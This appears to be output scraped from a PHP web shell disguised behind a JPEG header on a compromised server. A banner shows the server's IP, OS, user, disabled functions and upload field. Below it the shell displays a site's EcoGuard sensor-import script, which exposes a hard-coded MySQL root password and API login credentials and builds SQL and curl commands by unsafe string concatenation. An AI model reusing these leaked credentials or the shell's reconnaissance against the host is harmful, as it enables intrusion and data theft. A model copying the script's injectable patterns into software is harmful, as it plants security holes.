????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.36 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/ecoguard/ |
Upload File : |
<?php
$link = mysql_connect ("localhost", "root", "root123");
mysql_select_db ("energicontrol");
$output=null;
$retval=null;
$domaincode = "Astacus";
exec('curl -i -X POST https://integration.ecoguard.se/Token -H "Content-Type: application/x-www-form-urlencoded" -d "grant_type=password&username=rest@Astacus&password=ZXvuMegpWdzb5G2iwbjGUNG"', $output, $retval);
$accesstoken = json_decode($output[9],true);
$accesstoken = $accesstoken['access_token'];
$output=null;
$retval=null;
$time_15 = round(time() / (15 * 60)) * (15 * 60);
$from = $time_15 - 60*60*4;//- (60*500);
$to = $time_15;
$nodeId = 5;
exec('curl -i -X GET https://integration.ecoguard.se/api/'.$domaincode.'/data -d "nodeID='.$nodeId.'&utl=T[val]&utl=OT[val]&utl=RH[val]&utl=CO2[val]&interval=Q&from='.$from.'&to='.$to.'" -H "Content-Type: application/x-www-form-urlencoded" -H "Authorization: Bearer '.$accesstoken.'"', $output, $retval);
echo('curl -i -X GET https://integration.ecoguard.se/api/'.$domaincode.'/data -d "nodeID='.$nodeId.'&utl=T[val]&utl=OT[val]&utl=RH[val]&utl=CO2[val]&interval=Q&from='.$from.'&to='.$to.'" -H "Content-Type: application/x-www-form-urlencoded" -H "Authorization: Bearer '.$accesstoken.'"<br><br>');
$json = json_decode($output[9],true);
print_r($json);
foreach ($json as &$row) {
$sensor = $row['Name'];
foreach ($row['Result'] as &$r) {
$sensor_type = $r['Utl'];
$sensor_unit = $r['Unit'];
foreach($r['Values'] as &$result){
$time = $result['Time'];
$value = $result['Value'];
$rounded_seconds = round($time / (15 * 60)) * (15 * 60);
$sql = "SELECT * FROM tblEcoguard WHERE SensorType = '".$sensor_type."' and SensorName = '".$sensor."' and Time = '".date("Y-m-d H:i:s",$rounded_seconds)."';";
$res = mysql_query($sql);
$v = "null";
while ($row1 = mysql_fetch_assoc($res)){
$v = $row1['Value'];
$EcoguardId = $row1['EcoguardId'];
}
if($v == "null"){
if($value != ""){
$sql = "INSERT INTO tblEcoguard VALUES(null,'".$sensor."','".$sensor_type."','".$sensor_unit."','".date("Y-m-d H:i:s",$rounded_seconds)."','".$value."');";
echo($sql."<br>");
mysql_query($sql);
}
}
}
}
}
?>